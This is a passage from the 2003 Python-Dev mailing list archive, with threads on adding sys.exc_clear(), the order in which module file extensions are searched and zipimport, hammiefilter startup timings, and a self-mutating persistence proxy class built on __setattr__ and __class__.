    KJ> version number check).  Maybe it should be called 'clear_exc'
    KJ> or 'reset_exc_info' (to match the C API name).

Or exc_clear() for symmetry with exc_info() ?

-Barry


From skip@pobox.com  Tue Feb 25 03:54:55 2003
From: skip@pobox.com (Skip Montanaro)
Date: Mon, 24 Feb 2003 21:54:55 -0600
Subject: [Python-Dev] module extension search order - can it be changed?
Message-ID: <15962.59663.914728.131796@montanaro.dyndns.org>

While trying to figure out why so many stat() calls fail before locating a
module, it occurred to me that since most modules are written in Python it
makes sense to consider ".py" files before ".so" and "module.so" files.
Would changing the search order be possible or would it break something?

Skip


From a@totic.org  Tue Feb 25 08:56:40 2003
From: a@totic.org (Aleks Totic)
Date: Tue, 25 Feb 2003 00:56:40 -0800
Subject: [Python-Dev] Writing a mutable object problem with __setattr__
Message-ID: <3E5B2FC8.6040803@totic.org>

Hi,
I am trying to create a mutable object for a persistent object 
database, and I've ran into a problem. The semantics are:

Object gets created as a 'Swizzle'. Swizzle is a stub that 
intercepts any attempt to access object properties. When code 
tries to access any of swizzle's properties, the swizzle should 
automatically mutate into the stored object, by changing its 
class and properties.

With the __set/get/del/attr__ traps this seemed feasible in 
Python. But it turns out to be trickier than I've thought, my 
naive implementation is not working.

What happens is:
swizzle.__getattr__() gets called
   calls swizzle.load()
     swizzle.__class__ = stored_class
     swizzle.__dict__ = stored_data
   calls getattr(self, attr_name)
   calls swizzle.__getattr__() gets called
     and I enter an infinite loop and blow the stack

Since swizzle's __class__ and __dict__ have changed, shouldn't 
getattr use the new class to get attributes?

Why this is puzzling is that if I call swizzle.load() directly 
(bypassing __getattr__ trap), and then try referencing swizzle's 
fields, everything works. The object mutates successfully, and 
__getattr__ never gets called again.

Any hints on what might be going wrong? Hopefully others have 
struggled with the same problem before me.

Details of Python's class implementation and method dispatch 
would also be interesting. I've read Guido's Unifying Types 
essay, but I think I lack Python history required for its full 
understanding.

I've tried many different approaches:
- Swizzle inheriting from object (so that I can call super 
methods directly). This one would not let me assign into the 
__class__
- Swizzle calling different combinations of 
self.__setattr/setattr/setattribute

Here is my current code.

Thanks in advance,

Aleks

class Swizzle(object):
     """ A swizzle is a placeholder for an object that has not
     been loaded. It mutates into the loaded object upon access
     TODO: locking
     """
     def __init__(self, oid):
         self.__setattr__('oid', oid)

     def __getattr__(self, name):
         print "swizzle getattr called"
         # oid is the only attribute that does not cause a load
         if (name == 'oid'):
             return self.__dict__[name]
         self.load()
         return getattr(self,name)

     def __setattr__(self, name, value):
         """ setattr passes class & dict because these are called
         when we are mutating the object """
         print "swizzle setattr called"
         if (name == '__class__' or name == '__dict__' or name == 
'oid'):
             self.__dict__[name] = value
             return
         self.load()
         return setattr(self,name, value)

     def __delattr__(self, name):
         print "swizzle delattr called"
         self.load()
         return delattr(self, name)

     def load(self):
         """ TODO LOCK"""
         print "Trying to load ", self.oid
         RepositoryManager.manager.load(self)

def RepositoryManager.load(anItem)
  anItem.__dict__ = getProperties(anItem.oid)
  anItem.__class__ = getClass(anItem.oid)




From guido@python.org  Tue Feb 25 14:50:12 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 25 Feb 2003 09:50:12 -0500
Subject: [Python-Dev] Writing a mutable object problem with __setattr__
In-Reply-To: Your message of "Tue, 25 Feb 2003 00:56:40 PST."
 <3E5B2FC8.6040803@totic.org>
References: <3E5B2FC8.6040803@totic.org>
Message-ID: <200302251450.h1PEoD607130@odiug.zope.com>

> I am trying to create a mutable object for a persistent object 
> database, and I've ran into a problem. The semantics are:
> 
> Object gets created as a 'Swizzle'. Swizzle is a stub that 
> intercepts any attempt to access object properties. When code 
> tries to access any of swizzle's properties, the swizzle should 
> automatically mutate into the stored object, by changing its 
> class and properties.

This is a common pattern; Zope (really ZODB) uses this and calls the
incomplete objects "ghosts".  Zope doesn't change the __class__
though.

> With the __set/get/del/attr__ traps this seemed feasible in 
> Python. But it turns out to be trickier than I've thought, my 
> naive implementation is not working.
> 
> What happens is:
> swizzle.__getattr__() gets called
>    calls swizzle.load()
>      swizzle.__class__ = stored_class
>      swizzle.__dict__ = stored_data
>    calls getattr(self, attr_name)
>    calls swizzle.__getattr__() gets called
>      and I enter an infinite loop and blow the stack
> 
> Since swizzle's __class__ and __dict__ have changed, shouldn't 
> getattr use the new class to get attributes?

That's what I woul'd have thought too.  Maybe the problem is that
you're really requesting a non-existent attribute?  Do you know which
attribute name is being requested?  That's the first information you
need.

> Why this is puzzling is that if I call swizzle.load() directly 
> (bypassing __getattr__ trap), and then try referencing swizzle's 
> fields, everything works. The object mutates successfully, and 
> __getattr__ never gets called again.
> 
> Any hints on what might be going wrong? Hopefully others have 
> struggled with the same problem before me.
> 
> Details of Python's class implementation and method dispatch 
> would also be interesting. I've read Guido's Unifying Types 
> essay, but I think I lack Python history required for its full 
> understanding.
> 
> I've tried many different approaches:
> - Swizzle inheriting from object (so that I can call super 
> methods directly). This one would not let me assign into the 
> __class__

In Python 2.2.2 you can set __class__, as long as __class__ has a
compatible instance lay-out (at the C implementation level).

With new-style objects, you can use __getattribute__ instead of
__getattr__ for more control (and also more opportunities to blow the
stack :-).

> - Swizzle calling different combinations of 
> self.__setattr/setattr/setattribute

I don't understand -- these names don't exist.

> Here is my current code.
> 
> Thanks in advance,
> 
> Aleks
> 
> class Swizzle(object):
>      """ A swizzle is a placeholder for an object that has not
>      been loaded. It mutates into the loaded object upon access
>      TODO: locking
>      """
>      def __init__(self, oid):
>          self.__setattr__('oid', oid)
> 
>      def __getattr__(self, name):
>          print "swizzle getattr called"
>          # oid is the only attribute that does not cause a load
>          if (name == 'oid'):
>              return self.__dict__[name]
>          self.load()
>          return getattr(self,name)
> 
>      def __setattr__(self, name, value):
>          """ setattr passes class & dict because these are called
>          when we are mutating the object """
>          print "swizzle setattr called"
>          if (name == '__class__' or name == '__dict__' or name == 
> 'oid'):
>              self.__dict__[name] = value
>              return

Ah, here's the catch.  You can't implement assignment to __dict__ or
__class__ by doing "self.__dict__[name] = value".

Use new-style classes and you'll be much happier: you can invoke the
superclass __setattr__ to do the magic.

>          self.load()
>          return setattr(self,name, value)
> 
>      def __delattr__(self, name):
>          print "swizzle delattr called"
>          self.load()
>          return delattr(self, name)
> 
>      def load(self):
>          """ TODO LOCK"""
>          print "Trying to load ", self.oid
>          RepositoryManager.manager.load(self)
> 
> def RepositoryManager.load(anItem)
>   anItem.__dict__ = getProperties(anItem.oid)
>   anItem.__class__ = getClass(anItem.oid)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Tue Feb 25 14:58:18 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 25 Feb 2003 09:58:18 -0500
Subject: [Python-Dev] module extension search order - can it be changed?
In-Reply-To: Your message of "Mon, 24 Feb 2003 21:54:55 CST."
 <15962.59663.914728.131796@montanaro.dyndns.org>
References: <15962.59663.914728.131796@montanaro.dyndns.org>
Message-ID: <200302251458.h1PEwJU07213@odiug.zope.com>

> While trying to figure out why so many stat() calls fail before locating a
> module, it occurred to me that since most modules are written in Python it
> makes sense to consider ".py" files before ".so" and "module.so" files.
> Would changing the search order be possible or would it break something?

I don't know if it would break something, but it was certainly
intended as a feature: you could have an extension and a .py module
in the same directory, the .py module would be used as a fallback if
the .so cannot be built.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tismer@tismer.com  Tue Feb 25 15:12:03 2003
From: tismer@tismer.com (Christian Tismer)
Date: Tue, 25 Feb 2003 16:12:03 +0100
Subject: [Python-Dev] Traceback problem
In-Reply-To: <3E5AD4D0.3050609@tismer.com>
References: <Pine.LNX.4.44.0302241337530.10877-100000@penguin.theopalgroup.com> <200302241904.h1OJ4LP02895@odiug.zope.com> <3E5AAAF5.2080702@tismer.com> <200302250157.h1P1ve213590@pcp02138704pcs.reston01.va.comcast.net> <3E5AD4D0.3050609@tismer.com>
Message-ID: <3E5B87C3.3030205@tismer.com>

Christian Tismer wrote:

[me, lots of rubbish, ending up in...]

> Please don't disappoint me by defending a questionable design.

Oops, I'm very sorry about that.

I again tried to clone myself, but now
that I see the mess that the tis-bot wrote
last night, I have to put him down again.

I will give him more unit tests, next time :-)

ciao - chris (the oiginal)

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/



From guido@python.org  Tue Feb 25 15:12:46 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 25 Feb 2003 10:12:46 -0500
Subject: [Python-Dev] Traceback problem
In-Reply-To: Your message of "Mon, 24 Feb 2003 22:24:26 EST."
 <Pine.LNX.4.44.0302242212140.15981-100000@penguin.theopalgroup.com>
References: <Pine.LNX.4.44.0302242212140.15981-100000@penguin.theopalgroup.com>
Message-ID: <200302251512.h1PFCmP07304@odiug.zope.com>

> > 1) Implement exeptions according to the documentation.
> >     Cleaning exceptions after they are handled is what
> >     most users would expect, last but not least since
> >     the documentation suggests it.
> 
> This is not a practical option -- while I don't think the current
> behavior is ideal, we have a great deal of code that relies on this
> behavior.  I'm sure that many other Python developers are in the
> same boat.  If this is to change, we need to do a lot more work to
> justify it, and to give at least full one version of notice before
> enforcing it.

Indeed.  Not to mention that a new opcode would have to be invented to
signal the end of the except block.

> > 2) Add an optional boolean clear argument to sys.exc_info()
> >     This is lame, but it gives the user one way out.
> 
>   exc_info(...)
>     exc_info() -> (type, value, traceback)
> 
>     Return information about the exception that is currently being handled.
>     This should be called from inside an except clause only.
> 
> Adding an argument to this function reeks of a kludge.  Its job is
> to return information, and should not take any magic arguments to
> make it a 'one-shot'.

Agreed; -1 on this particular API.

> > 3) Add an extra reset_exp function to sys.
> >     More lame since it requires an extra function,
> >     just to patch a "feature".
> 
> This one gets my vote (if this were a democracy).  "Explicit is
> better than implicit".  The new symbol in the sys namespace also
> makes it easy to test for the capability (without a version number
> check).  Maybe it should be called 'clear_exc' or 'reset_exc_info'
> (to match the C API name).

Let's call it exc_reset() or exc_clear().

> > 4) Keep things as they are, and expect the Spanish Inquision.
> 
> I'm even okay with the status quo and can continue to use my current
> hack to clear exception data.

You can always clear it by raising and catching another exception. :-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Tue Feb 25 15:12:53 2003
From: skip@pobox.com (Skip Montanaro)
Date: Tue, 25 Feb 2003 09:12:53 -0600
Subject: [Python-Dev] module extension search order - can it be changed?
In-Reply-To: <200302251458.h1PEwJU07213@odiug.zope.com>
References: <15962.59663.914728.131796@montanaro.dyndns.org>
 <200302251458.h1PEwJU07213@odiug.zope.com>
Message-ID: <15963.34805.782478.54250@montanaro.dyndns.org>

    Skip> [check .py before .so]

    Guido> I don't know if it would break something, but it was certainly
    Guido> intended as a feature: you could have an extension and a .py
    Guido> module in the same directory, the .py module would be used as a
    Guido> fallback if the .so cannot be built.

This doesn't quite make sense to me.  Instead of ".so cannot be built" did
you mean ".so cannot be imported"?

In any case, the current solution to my underlying problem (so many failing
stat() calls during module import) appears to be to create
$prefix/python23.zip and populate it with the contents of the standard
library using zipfile.PyZipFile.

Skip



From guido@python.org  Tue Feb 25 15:26:51 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 25 Feb 2003 10:26:51 -0500
Subject: [Python-Dev] module extension search order - can it be changed?
In-Reply-To: Your message of "Tue, 25 Feb 2003 09:12:53 CST."
 <15963.34805.782478.54250@montanaro.dyndns.org>
References: <15962.59663.914728.131796@montanaro.dyndns.org> <200302251458.h1PEwJU07213@odiug.zope.com>
 <15963.34805.782478.54250@montanaro.dyndns.org>
Message-ID: <200302251526.h1PFQqH07446@odiug.zope.com>

>     Skip> [check .py before .so]
> 
>     Guido> I don't know if it would break something, but it was certainly
>     Guido> intended as a feature: you could have an extension and a .py
>     Guido> module in the same directory, the .py module would be used as a
>     Guido> fallback if the .so cannot be built.
> 
> This doesn't quite make sense to me.  Instead of ".so cannot be built" did
> you mean ".so cannot be imported"?

No, I meant what I said.  Once the file is found, it will be tried
and if that fails, the other files won't be tried.  The idea was that
if the .so cannot be built, it won't be installed -- but the .py will
be there at all times.

> In any case, the current solution to my underlying problem (so many failing
> stat() calls during module import) appears to be to create
> $prefix/python23.zip and populate it with the contents of the standard
> library using zipfile.PyZipFile.

Right, that's what zipimport is for.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Tue Feb 25 15:59:45 2003
From: skip@pobox.com (Skip Montanaro)
Date: Tue, 25 Feb 2003 09:59:45 -0600
Subject: [Python-Dev] Re: some preliminary timings
Message-ID: <15963.37617.384031.567676@montanaro.dyndns.org>

Executive summary for python-dev folks seeing this for the first time:

    This thread started at

        http://mail.python.org/pipermail/spambayes/2003-February/003520.html

    Running in a single interpreter loop, I can score roughly 46
    messages per second.  Running from the shell using hammiefilter.py
    (which takes a msg on stdin and spits a scored message to stdout)
    performance drops to roughly 2 messages per second.  Neil
    Schmenenauer noted all the failed open() calls during import
    lookup, which got me started trying to whittle them down.

Two more things to try before abandoning this quixotic adventure...

It appears $prefix/python23.zip is left in sys.path even if it doesn't exist
(Just van Rossum explained to me in a bug report I filed that nonexistent
directories might actually be URLs or other weird hacks which import hooks
could make use of), so I went with the flow and created it, populating it
with the contents of $prefix/python2.3.  My averate wallclock time went from
0.5 seconds to 0.47 seconds and user+sys times went from 0.43 seconds to
0.41 seconds.  A modest improvement.

One more little tweak.  I moved the lib-dynload directory to the front of
sys.path (obviously only safe if nothing there appears earlier in sys.path).
Wall clock average stayed at 0.47 seconds and user+sys at 0.41 seconds,
though the total number of system calls as measured by ktrace went from 3454
to 3042.

Hammiefilter itself really does very little.  Looking at the last
ktrace/kdump output, I see 3042 system calls.  The hammie.db file isn't
opened until line 2717.  All the rest before that is startup stuff, the
largest chunk of which are nami operations (731) and open (557) calls, most
of them involving nonexistent files (as evidenced by seeing only 164 calls
to close()).  In contrast, only 278 system calls appear to be directly
related to manipulating the hammie database.

This is still somewhat off-topic for this list (except for the fact that my
intention was to get hammiefilter to run faster), so I'll cc python-dev to
keep Tim happy, and perhaps mildly irritate Guido by discussing specific
apps on python-dev.

Skip


From skip@pobox.com  Tue Feb 25 16:02:50 2003
From: skip@pobox.com (Skip Montanaro)
Date: Tue, 25 Feb 2003 10:02:50 -0600
Subject: [Python-Dev] module extension search order - can it be changed?
In-Reply-To: <200302251526.h1PFQqH07446@odiug.zope.com>
References: <15962.59663.914728.131796@montanaro.dyndns.org>
 <200302251458.h1PEwJU07213@odiug.zope.com>
 <15963.34805.782478.54250@montanaro.dyndns.org>
 <200302251526.h1PFQqH07446@odiug.zope.com>
Message-ID: <15963.37802.980727.597421@montanaro.dyndns.org>

    >> This doesn't quite make sense to me.  Instead of ".so cannot be
    >> built" did you mean ".so cannot be imported"?

    Guido> No, I meant what I said.  Once the file is found, it will be
    Guido> tried and if that fails, the other files won't be tried.  The
    Guido> idea was that if the .so cannot be built, it won't be installed
    Guido> -- but the .py will be there at all times.

In which case there is no .so file to try to find, thus no "feature".

    >> In any case, the current solution to my underlying problem (so many
    >> failing stat() calls during module import) appears to be to create
    >> $prefix/python23.zip and populate it with the contents of the
    >> standard library using zipfile.PyZipFile.

    Guido> Right, that's what zipimport is for.

Any thought about having the installation process create and populate
python23.zip?  It's not particularly hard.  I'm willing to submit a patch
for the build/install process.

Skip



From jacobs@penguin.theopalgroup.com  Tue Feb 25 16:05:14 2003
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Tue, 25 Feb 2003 11:05:14 -0500 (EST)
Subject: [Python-Dev] Traceback problem
In-Reply-To: <200302251512.h1PFCmP07304@odiug.zope.com>
Message-ID: <Pine.LNX.4.44.0302251057160.4956-100000@penguin.theopalgroup.com>

On Tue, 25 Feb 2003, Guido van Rossum wrote:
> > > 3) Add an extra reset_exp function to sys.
> > >     More lame since it requires an extra function,
> > >     just to patch a "feature".
> > 
> > This one gets my vote (if this were a democracy).  "Explicit is
> > better than implicit".  The new symbol in the sys namespace also
> > makes it easy to test for the capability (without a version number
> > check).  Maybe it should be called 'clear_exc' or 'reset_exc_info'
> > (to match the C API name).
> 
> Let's call it exc_reset() or exc_clear().

I'm going with exc_clear(), since 'clearing' seems to be the verb most
people are using when talking about the action it performed.

Implementation question: I'm planning to reuse the reset_exc_info function
defined statically in ceval.c.  Which of these options do you prefer:

  1) Just remove the static declaration from reset_exc_info and add the
     prototype as an extern declaration to sysmodule.c.

  2) Remove the static declaration from reset_exc_info and add the prototype
     to an include file.  If so, which include file is the most appropriate
     place?

  3) Move the implementation of reset_exc_info out of ceval to another, more
     public, file.  If so, which one?

I ask only because I usually submit bug fixes and minor changes, and am not
familar enough with this part of the Python development culture.

> > > 4) Keep things as they are, and expect the Spanish Inquision.
> > 
> > I'm even okay with the status quo and can continue to use my current
> > hack to clear exception data.
> 
> You can always clear it by raising and catching another exception. :-)

This is what I do, though I have a nice 10 line comment in the source to
ward off much squinting and head scratching from our junior developers.

Thanks,
-Kevin

--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com



From atotic@osafoundation.org  Tue Feb 25 16:55:45 2003
From: atotic@osafoundation.org (Aleksandar Totic)
Date: Tue, 25 Feb 2003 08:55:45 -0800
Subject: [Python-Dev] Re: Writing a mutable object problem with __setattr__
References: <3E5B2FC8.6040803@totic.org> <200302251450.h1PEoD607130@odiug.zope.com>
Message-ID: <3E5BA011.6030004@osafoundation.org>

Guido van Rossum wrote:
 > Aleks Totic wrote:
>>I am trying to create a mutable object for a persistent object 
>>database, and I've ran into a problem. The semantics are:
>>
>>Object gets created as a 'Swizzle'. Swizzle is a stub that 
>>intercepts any attempt to access object properties. When code 
>>tries to access any of swizzle's properties, the swizzle should 
>>automatically mutate into the stored object, by changing its 
>>class and properties.
> 
>  .....................................
> 
>>With the __set/get/del/attr__ traps this seemed feasible in 
>>Python. But it turns out to be trickier than I've thought, my 
>>naive implementation is not working.
>>
>>What happens is:
>>swizzle.__getattr__() gets called
>>   calls swizzle.load()
>>     swizzle.__class__ = stored_class
>>     swizzle.__dict__ = stored_data
>>   calls getattr(self, attr_name)
>>   calls swizzle.__getattr__() gets called
>>     and I enter an infinite loop and blow the stack
>>
>>
>>I've tried many different approaches:
>>- Swizzle inheriting from object (so that I can call super 
>>methods directly). This one would not let me assign into the 
>>__class__
>  
> In Python 2.2.2 you can set __class__, as long as __class__ has a
> compatible instance lay-out (at the C implementation level).

This is the part where I am confused. How do I know if something 
is an old or new style object? Do new-style objects derive from 
built-in types (object/dict..)

> With new-style objects, you can use __getattribute__ instead of
> __getattr__ for more control (and also more opportunities to blow the
> stack :-).
 >
 >.................................
 >
>>     def __setattr__(self, name, value):
>>         """ setattr passes class & dict because these are called
>>         when we are mutating the object """
>>         print "swizzle setattr called"
>>         if (name == '__class__' or name == '__dict__' or name == 
>>'oid'):
>>             self.__dict__[name] = value
>>             return
> 
> 
> Ah, here's the catch.  You can't implement assignment to __dict__ or
> __class__ by doing "self.__dict__[name] = value".
> 
> Use new-style classes and you'll be much happier: you can invoke the
> superclass __setattr__ to do the magic.

I've tried this, but then I was unable to create any of the 
old-style classes. Is there any solution that would let me mutate 
an object into both? I suspect not. Then the question is:

- is there a runtime/compiling python flag to force all objects 
into new-style layout? This will be the future, I think I've read 
somewhere.

- how can I tell the difference between old and new programatically?

Aleks



From guido@python.org  Tue Feb 25 17:18:09 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 25 Feb 2003 12:18:09 -0500
Subject: [Python-Dev] Re: some preliminary timings
In-Reply-To: Your message of "Tue, 25 Feb 2003 09:59:45 CST."
 <15963.37617.384031.567676@montanaro.dyndns.org>
References: <15963.37617.384031.567676@montanaro.dyndns.org>
Message-ID: <200302251718.h1PHIBe07657@odiug.zope.com>

> Executive summary for python-dev folks seeing this for the first time:
> 
>     This thread started at
> 
>         http://mail.python.org/pipermail/spambayes/2003-February/003520.html
> 
>     Running in a single interpreter loop, I can score roughly 46
>     messages per second.  Running from the shell using hammiefilter.py
>     (which takes a msg on stdin and spits a scored message to stdout)
>     performance drops to roughly 2 messages per second.  Neil
>     Schmenenauer noted all the failed open() calls during import
>     lookup, which got me started trying to whittle them down.
> 
> Two more things to try before abandoning this quixotic adventure...
> 
> It appears $prefix/python23.zip is left in sys.path even if it doesn't exist
> (Just van Rossum explained to me in a bug report I filed that nonexistent
> directories might actually be URLs or other weird hacks which import hooks
> could make use of), so I went with the flow and created it, populating it
> with the contents of $prefix/python2.3.  My averate wallclock time went from
> 0.5 seconds to 0.47 seconds and user+sys times went from 0.43 seconds to
> 0.41 seconds.  A modest improvement.
> 
> One more little tweak.  I moved the lib-dynload directory to the front of
> sys.path (obviously only safe if nothing there appears earlier in sys.path).
> Wall clock average stayed at 0.47 seconds and user+sys at 0.41 seconds,
> though the total number of system calls as measured by ktrace went from 3454
> to 3042.
> 
> Hammiefilter itself really does very little.  Looking at the last
> ktrace/kdump output, I see 3042 system calls.  The hammie.db file isn't
> opened until line 2717.  All the rest before that is startup stuff, the
> largest chunk of which are nami operations (731) and open (557) calls, most
> of them involving nonexistent files (as evidenced by seeing only 164 calls
> to close()).  In contrast, only 278 system calls appear to be directly
> related to manipulating the hammie database.
> 
> This is still somewhat off-topic for this list (except for the fact that my
> intention was to get hammiefilter to run faster), so I'll cc python-dev to
> keep Tim happy, and perhaps mildly irritate Guido by discussing specific
> apps on python-dev.

Far from it, I wish spambayes well (and wish I could still be
involved) :-).

The issue seems to be that a moderately sized application takes a long
time to start, right?  How much of the user+sys time was user, how
much was sys?  Have you used python -v to see which modules it
imports?

Long ago I knew Hammie; I believe it reads a possibly large database.
How much time does opening +closing the database take?  (I presume
that the 46 messages/second was not opening the database afresh for
each message.)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Tue Feb 25 17:21:19 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 25 Feb 2003 12:21:19 -0500
Subject: [Python-Dev] module extension search order - can it be changed?
In-Reply-To: Your message of "Tue, 25 Feb 2003 10:02:50 CST."
 <15963.37802.980727.597421@montanaro.dyndns.org>
References: <15962.59663.914728.131796@montanaro.dyndns.org> <200302251458.h1PEwJU07213@odiug.zope.com> <15963.34805.782478.54250@montanaro.dyndns.org> <200302251526.h1PFQqH07446@odiug.zope.com>
 <15963.37802.980727.597421@montanaro.dyndns.org>
Message-ID: <200302251721.h1PHLVE07682@odiug.zope.com>

>     >> This doesn't quite make sense to me.  Instead of ".so cannot be
>     >> built" did you mean ".so cannot be imported"?
> 
>     Guido> No, I meant what I said.  Once the file is found, it will be
>     Guido> tried and if that fails, the other files won't be tried.  The
>     Guido> idea was that if the .so cannot be built, it won't be installed
>     Guido> -- but the .py will be there at all times.
> 
> In which case there is no .so file to try to find, thus no "feature".

I'm not sure if you're stil objecting.  The feature is that .so wins
over .py.  I though I've explained clearly why this is a feature.  If
not, please ask a more detailed question.

>     >> In any case, the current solution to my underlying problem (so many
>     >> failing stat() calls during module import) appears to be to create
>     >> $prefix/python23.zip and populate it with the contents of the
>     >> standard library using zipfile.PyZipFile.
> 
>     Guido> Right, that's what zipimport is for.
> 
> Any thought about having the installation process create and populate
> python23.zip?  It's not particularly hard.  I'm willing to submit a patch
> for the build/install process.

python23.zip is good for end users of programs written in Python, but
not so good for Python programmers: AFAIK it won't show source lines
in tracebacks for modules loaded from the zip file.

So it should be an option.  That said, I think it is a desirable
option.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Tue Feb 25 17:31:08 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 25 Feb 2003 12:31:08 -0500
Subject: [Python-Dev] Re: Writing a mutable object problem with __setattr__
In-Reply-To: Your message of "Tue, 25 Feb 2003 08:55:45 PST."
 <3E5BA011.6030004@osafoundation.org>
References: <3E5B2FC8.6040803@totic.org> <200302251450.h1PEoD607130@odiug.zope.com>
 <3E5BA011.6030004@osafoundation.org>
Message-ID: <200302251731.h1PHVI407767@odiug.zope.com>

> > In Python 2.2.2 you can set __class__, as long as __class__ has a
> > compatible instance lay-out (at the C implementation level).
> 
> This is the part where I am confused. How do I know if something 
> is an old or new style object? Do new-style objects derive from 
> built-in types (object/dict..)

Yes.  Please re-read http://www.python.org/2.2.2/descrintro.html

> > Use new-style classes and you'll be much happier: you can invoke the
> > superclass __setattr__ to do the magic.
> 
> I've tried this, but then I was unable to create any of the 
> old-style classes. Is there any solution that would let me mutate 
> an object into both? I suspect not. Then the question is:

No, you can never switch an object from classic to new-style.

> - is there a runtime/compiling python flag to force all objects 
> into new-style layout? This will be the future, I think I've read 
> somewhere.

Almost.  You can add __metaclass__=type to the top of each module, and
then classes without a base class will become new-style.  Classes
derived from other classes will still be whatever that other class is;
and there's no way to force the whole standard library to use
new-style classes (amongst many reasons, exceptions must be classic
classes).

> - how can I tell the difference between old and new programatically?

type(C) == types.Classtype.  Or check if the class has a __class__
attribute (classic classes don't).

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Tue Feb 25 17:39:12 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 25 Feb 2003 12:39:12 -0500
Subject: [Python-Dev] Traceback problem
In-Reply-To: Your message of "Tue, 25 Feb 2003 11:05:14 EST."
 <Pine.LNX.4.44.0302251057160.4956-100000@penguin.theopalgroup.com>
References: <Pine.LNX.4.44.0302251057160.4956-100000@penguin.theopalgroup.com>
Message-ID: <200302251739.h1PHdD807869@odiug.zope.com>

> I'm going with exc_clear(), since 'clearing' seems to be the verb
> most people are using when talking about the action it performed.

OK.

> Implementation question: I'm planning to reuse the reset_exc_info function
> defined statically in ceval.c.  Which of these options do you prefer:
> 
>   1) Just remove the static declaration from reset_exc_info and add the
>      prototype as an extern declaration to sysmodule.c.

It has to be renamed to have a proper Py*** name too.

>   2) Remove the static declaration from reset_exc_info and add the prototype
>      to an include file.  If so, which include file is the most appropriate
>      place?

ceval.h.

>   3) Move the implementation of reset_exc_info out of ceval to another, more
>      public, file.  If so, which one?

I see no need.

> I ask only because I usually submit bug fixes and minor changes, and am not
> familar enough with this part of the Python development culture.

Looks like you're catching on fast. :-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From nas@python.ca  Tue Feb 25 17:47:46 2003
From: nas@python.ca (Neil Schemenauer)
Date: Tue, 25 Feb 2003 09:47:46 -0800
Subject: [Python-Dev] Re: [Spambayes] Re: some preliminary timings
In-Reply-To: <15963.37617.384031.567676@montanaro.dyndns.org>
References: <15963.37617.384031.567676@montanaro.dyndns.org>
Message-ID: <20030225174745.GA15650@glacier.arctrix.com>

Skip Montanaro wrote:
> My averate wallclock time went from 0.5 seconds to 0.47 seconds and
> user+sys times went from 0.43 seconds to 0.41 seconds.  A modest
> improvement.

Of course imports are the only part of startup cost.  Damn that Amdahl
guy. :-)

  Neil


From jeremy@zope.com  Tue Feb 25 17:52:27 2003
From: jeremy@zope.com (Jeremy Hylton)
Date: 25 Feb 2003 12:52:27 -0500
Subject: [Python-Dev] Re: Writing a mutable object problem with
 __setattr__
In-Reply-To: <200302251731.h1PHVI407767@odiug.zope.com>
References: <3E5B2FC8.6040803@totic.org>
 <200302251450.h1PEoD607130@odiug.zope.com>
 <3E5BA011.6030004@osafoundation.org>
 <200302251731.h1PHVI407767@odiug.zope.com>
Message-ID: <1046195546.4306.41.camel@slothrop.zope.com>

On Tue, 2003-02-25 at 12:31, Guido van Rossum wrote:
> > I've tried this, but then I was unable to create any of the 
> > old-style classes. Is there any solution that would let me mutate 
> > an object into both? I suspect not. Then the question is:
> 
> No, you can never switch an object from classic to new-style.

One possibility, which isn't quite the same thing, is to derive a
new-style class from the classic class.  You can write this with a class
statement like so:

import cgi

class FormContent(cgi.FormContent, object):
    pass

or you can generate one manually:

type.__new__(type, "FormContent", (cgi.FormContent, object), {})

In either case, you will have a new-style class that inherits all of its
behavior from the classic class.

Jeremy




From tismer@tismer.com  Tue Feb 25 18:12:25 2003
From: tismer@tismer.com (Christian Tismer)
Date: Tue, 25 Feb 2003 19:12:25 +0100
Subject: [Python-Dev] Traceback problem
In-Reply-To: <200302251739.h1PHdD807869@odiug.zope.com>
References: <Pine.LNX.4.44.0302251057160.4956-100000@penguin.theopalgroup.com> <200302251739.h1PHdD807869@odiug.zope.com>
Message-ID: <3E5BB209.3020302@tismer.com>

Guido van Rossum wrote:
> I'm going with exc_clear(), since 'clearing' seems to be the verb
> most people are using when talking about the action it performed.

I agree. clear is in fact better than reset, since there
is no exception resetted to something, but it is cleared
away.

...

>>I ask only because I usually submit bug fixes and minor changes, and am not
>>familar enough with this part of the Python development culture.

Great, Kevin, that you are implementing this. I was already
starting, but this is fine, if I can save some time.
Will instead work a little on making GC optional,
again, as promised a while ago.

cheers - chris
-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/



From skip@pobox.com  Tue Feb 25 18:08:48 2003
From: skip@pobox.com (Skip Montanaro)
Date: Tue, 25 Feb 2003 12:08:48 -0600
